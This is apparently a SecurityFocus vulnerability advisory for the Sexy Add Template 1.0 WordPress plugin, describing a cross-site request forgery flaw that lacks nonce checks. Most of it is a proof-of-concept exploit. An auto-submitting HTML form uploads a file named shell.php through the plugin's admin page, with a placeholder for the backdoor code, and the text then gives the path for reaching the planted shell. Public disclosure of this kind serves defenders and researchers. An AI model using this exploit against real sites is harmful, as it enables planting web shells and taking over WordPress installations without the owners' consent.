source: https://www.securityfocus.com/bid/55666/info
The Sexy Add Template plugin for WordPress is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.
Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible.
Sexy Add Template 1.0 is vulnerable; other versions may also be affected.
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# [ Information Details ]
# - Wordpress Plugin Sexy Add Template:
# Attacker allow CSRF Upload Shell.
# http://localhost/wp-admin/themes.php?page=AM-sexy-handle <--- Vuln CSRF, not require verification CODE "wpnonce".
#
# <html>
# <head>
# <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
# <title>Wordpress Plugin Sexy Add Template - CSRF Upload Shell Vulnerability</title>
# </head>
# <body onload="document.form0.submit();">
# <form method="POST" name="form0" action="http://localhost/wp-admin/themes.php?page=AM-sexy-handle" method="post" enctype="multipart/form-data" >
# <input type="hidden" name="newfile" value="yes" />
# <input type="hidden" type="text" value="shell.php" name="AM_filename">
# <textarea type="hidden" name="AM_file_content">
# [ Your Script Backdoor/Shell ]
# </textarea>
# </form>
# </body>
# </html>
#
# - Access Shell:
# http://www.example.com/wp-content/themes/[theme-name]/shell.php <--- HACKED...!!!
#
# +#################################################################################